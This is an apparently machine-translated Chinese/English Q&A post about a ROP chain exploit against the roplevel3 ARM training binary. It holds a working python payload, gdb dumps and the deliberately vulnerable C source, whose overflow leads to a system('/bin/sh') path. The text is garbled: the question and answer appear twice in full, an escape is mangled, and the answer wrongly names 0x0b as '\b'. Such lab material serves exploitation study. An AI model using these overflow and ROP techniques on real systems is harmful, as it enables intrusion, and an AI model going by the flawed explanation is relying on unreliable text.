ARM:ROP 链:堆栈溢出在特定地址上失败
ARM: ROP chain: Stack overflow fails on specific address
我正在尝试利用来自 Billy Ellis 的稍微修改过的 roplevel3
漏洞利用挑战。但是,使用全局变量的地址 internal_mode (0x00020b44).
溢出堆栈不起作用
这是我的 ROP 链:
python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00020b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input
我终于运行在GDB中的程序:
(gdb) disassemble gadget
Dump of assembler code for function gadget:
=> 0x00010700 <+0>: pop {r0, r1, pc}
0x00010704 <+4>: bx lr
End of assembler dump.
(gdb) disassemble write_anywhere
Dump of assembler code for function write_anywhere:
0x000106f4 <+0>: str r0, [r1]
0x000106f8 <+4>: pop {r7, pc}
0x000106fc <+8>: bx lr
End of assembler dump.
(gdb) x/1xw 0x20b44
0x20b44 <internal_mode>: 0x00000000
(gdb) b *gadget
Breakpoint 1 at 0x10700
(gdb) run < input
Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000
Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.
Breakpoint 1, 0x00010700 in gadget ()
查看堆栈显示internal_mode的地址(0x00020b44)没有到达堆栈:
(gdb) x/20xw $sp-8
0xbefff198: 0x41414141 0x00010700 0x46464646 0xbeff0044
0xbefff1a8: 0x00000001 0x00010708 0xb6ffe0c8 0xb6ffddd0
0xbefff1b8: 0x00000000 0x00000000 0x00010418 0x00000000
0xbefff1c8: 0x00000000 0x00000000 0xb6ffc000 0x00000000
0xbefff1d8: 0x5eaf5113 0x56b822e3 0x00000000 0x00000000
如果我将攻击字符串中的地址 0x00020b44 更改为例如0x00021b44.
新的攻击字符串:
python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00021b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input
GDB 中的行为:
(gdb) run < input
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000
Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.
Breakpoint 1, 0x00010700 in gadget ()
(gdb) x/20xw $sp-8
0xbefff198: 0x41414141 0x00010700 0x46464646 0x00021b44
0xbefff1a8: 0x000106f4 0x00010708 0x00010708 0xb6ffdd00
0xbefff1b8: 0x00000000 0x00000000 0x00010418 0x00000000
0xbefff1c8: 0x00000000 0x00000000 0xb6ffc000 0x00000000
0xbefff1d8: 0xbcec0b6c 0xb4fb789c 0x00000000 0x00000000
问题是,为什么我不能用地址0x00020b44覆盖堆栈?
源代码
roplevel3.c源代码:
#import <stdio.h>
#import <string.h>
#import <unistd.h>
#import <stdlib.h>
volatile int dummy1 = 0;
volatile int dummy2 = 0;
volatile int dummy3 = 0;
volatile int dummy4 = 0;
volatile int dummy5 = 0;
volatile int dummy6 = 0;
volatile int dummy7 = 0;
int internal_mode = 0;
void func()
{
printf("Hello world! Welcome to a function - an function that does absolutely nothing!\n");
}
void func_internal()
{
printf("\x1b[33mWelcome to a more interesting function with developer-only functionality ;P\x1b[0m\nWhat would you like to do?\n[1] Touch a file\n[2] Spawn a shell\n[3] Quit function\n");
char input[1];
scanf("%s",input);
if (strcmp(input,"1") == 0) {
system("touch /created_by_roplevel3");
} else if (strcmp(input,"2") == 0) {
system("/bin/sh");
} else if (strcmp(input,"3") == 0) {
} else {
printf("Invalid option");
}
}
void validate(char func_id[])
{
if (strcmp(func_id, "1") == 0) {
func();
} else if (strcmp(func_id,"2") == 0) {
if (internal_mode == 0) {
printf("You do not have permission to launch this function.\n");
} else {
func_internal();
}
} else if (strcmp(func_id,"3") == 0) {
exit(0);
} else {
printf("Invalid choice.\n");
}
}
void write_anywhere()
{
__asm__("str r0, [r1]");
__asm__("pop {r7, pc}");
}
void gadget()
{
__asm__("pop {r0,r1,pc}");
}
int main(){
int a = 1;
printf("Welcome to ROPLevel3 by @bellis1000\n\n");
while (a == 1) {
printf("Select an option:\n[1] Function\n[2] Function (internal)\n[3] Exit\n");
char input[8];
scanf("%s", input);
validate(input);
}
return 0;
}
我正在编译代码如下:
clang -c -fno-pie -fno-stack-protector -mno-thumb roplevel3.c
clang -o roplevel3 roplevel3.o
环境
主持人
- qemu-arm 版本 3.1.0
目标(arm-unknown-linux-gnueabihf)
- Raspbian GNU/Linux 8(杰西)
- Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
- Raspbian clang 版本 3.5.0-10+rpi1 (tags/RELEASE_350/final)(基于 LLVM 3.5.0)
问题在于将输入存储到堆栈缓冲区的方式:
char input[1];
scanf("%s",input);
根据 scanf 的手册页:
s
Matches a sequence of non-white-space characters; the next pointer must be a pointer to character array that is long enough to hold the input sequence and the terminating null byte ('[=12=]'), which is added automatically. The input string stops at white space or at the maximum field width, whichever occurs first.
你的地址0x00020b44转换为4字节:0x44 0x0b 0x02 0x00。由于十六进制字节 0x0b 代表 '\b',它是一个 whitespace 字符,它会导致 scanf
停止解析您的输入。 0x21 是 '!' char,因此不是空格,这就是它不停止解析的原因。
很奇怪,因为“\0”不是空白字符,您的漏洞利用缓冲区可以包含空字节,但不能包含空白字符。
我正在尝试利用来自 Billy Ellis 的稍微修改过的 roplevel3 漏洞利用挑战。但是,使用全局变量的地址 internal_mode (0x00020b44).
溢出堆栈不起作用这是我的 ROP 链:
python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00020b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input
我终于运行在GDB中的程序:
(gdb) disassemble gadget
Dump of assembler code for function gadget:
=> 0x00010700 <+0>: pop {r0, r1, pc}
0x00010704 <+4>: bx lr
End of assembler dump.
(gdb) disassemble write_anywhere
Dump of assembler code for function write_anywhere:
0x000106f4 <+0>: str r0, [r1]
0x000106f8 <+4>: pop {r7, pc}
0x000106fc <+8>: bx lr
End of assembler dump.
(gdb) x/1xw 0x20b44
0x20b44 <internal_mode>: 0x00000000
(gdb) b *gadget
Breakpoint 1 at 0x10700
(gdb) run < input
Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000
Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.
Breakpoint 1, 0x00010700 in gadget ()
查看堆栈显示internal_mode的地址(0x00020b44)没有到达堆栈:
(gdb) x/20xw $sp-8
0xbefff198: 0x41414141 0x00010700 0x46464646 0xbeff0044
0xbefff1a8: 0x00000001 0x00010708 0xb6ffe0c8 0xb6ffddd0
0xbefff1b8: 0x00000000 0x00000000 0x00010418 0x00000000
0xbefff1c8: 0x00000000 0x00000000 0xb6ffc000 0x00000000
0xbefff1d8: 0x5eaf5113 0x56b822e3 0x00000000 0x00000000
如果我将攻击字符串中的地址 0x00020b44 更改为例如0x00021b44.
新的攻击字符串:
python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00021b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input
GDB 中的行为:
(gdb) run < input
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000
Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.
Breakpoint 1, 0x00010700 in gadget ()
(gdb) x/20xw $sp-8
0xbefff198: 0x41414141 0x00010700 0x46464646 0x00021b44
0xbefff1a8: 0x000106f4 0x00010708 0x00010708 0xb6ffdd00
0xbefff1b8: 0x00000000 0x00000000 0x00010418 0x00000000
0xbefff1c8: 0x00000000 0x00000000 0xb6ffc000 0x00000000
0xbefff1d8: 0xbcec0b6c 0xb4fb789c 0x00000000 0x00000000
问题是,为什么我不能用地址0x00020b44覆盖堆栈?
源代码
roplevel3.c源代码:
#import <stdio.h>
#import <string.h>
#import <unistd.h>
#import <stdlib.h>
volatile int dummy1 = 0;
volatile int dummy2 = 0;
volatile int dummy3 = 0;
volatile int dummy4 = 0;
volatile int dummy5 = 0;
volatile int dummy6 = 0;
volatile int dummy7 = 0;
int internal_mode = 0;
void func()
{
printf("Hello world! Welcome to a function - an function that does absolutely nothing!\n");
}
void func_internal()
{
printf("\x1b[33mWelcome to a more interesting function with developer-only functionality ;P\x1b[0m\nWhat would you like to do?\n[1] Touch a file\n[2] Spawn a shell\n[3] Quit function\n");
char input[1];
scanf("%s",input);
if (strcmp(input,"1") == 0) {
system("touch /created_by_roplevel3");
} else if (strcmp(input,"2") == 0) {
system("/bin/sh");
} else if (strcmp(input,"3") == 0) {
} else {
printf("Invalid option");
}
}
void validate(char func_id[])
{
if (strcmp(func_id, "1") == 0) {
func();
} else if (strcmp(func_id,"2") == 0) {
if (internal_mode == 0) {
printf("You do not have permission to launch this function.\n");
} else {
func_internal();
}
} else if (strcmp(func_id,"3") == 0) {
exit(0);
} else {
printf("Invalid choice.\n");
}
}
void write_anywhere()
{
__asm__("str r0, [r1]");
__asm__("pop {r7, pc}");
}
void gadget()
{
__asm__("pop {r0,r1,pc}");
}
int main(){
int a = 1;
printf("Welcome to ROPLevel3 by @bellis1000\n\n");
while (a == 1) {
printf("Select an option:\n[1] Function\n[2] Function (internal)\n[3] Exit\n");
char input[8];
scanf("%s", input);
validate(input);
}
return 0;
}
我正在编译代码如下:
clang -c -fno-pie -fno-stack-protector -mno-thumb roplevel3.c
clang -o roplevel3 roplevel3.o
环境
主持人
- qemu-arm 版本 3.1.0
目标(arm-unknown-linux-gnueabihf)
- Raspbian GNU/Linux 8(杰西)
- Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
- Raspbian clang 版本 3.5.0-10+rpi1 (tags/RELEASE_350/final)(基于 LLVM 3.5.0)
问题在于将输入存储到堆栈缓冲区的方式:
char input[1];
scanf("%s",input);
根据 scanf 的手册页:
s
Matches a sequence of non-white-space characters; the next pointer must be a pointer to character array that is long enough to hold the input sequence and the terminating null byte ('[=12=]'), which is added automatically. The input string stops at white space or at the maximum field width, whichever occurs first.
你的地址0x00020b44转换为4字节:0x44 0x0b 0x02 0x00。由于十六进制字节 0x0b 代表 '\b',它是一个 whitespace 字符,它会导致 scanf
停止解析您的输入。 0x21 是 '!' char,因此不是空格,这就是它不停止解析的原因。
很奇怪,因为“\0”不是空白字符,您的漏洞利用缓冲区可以包含空字节,但不能包含空白字符。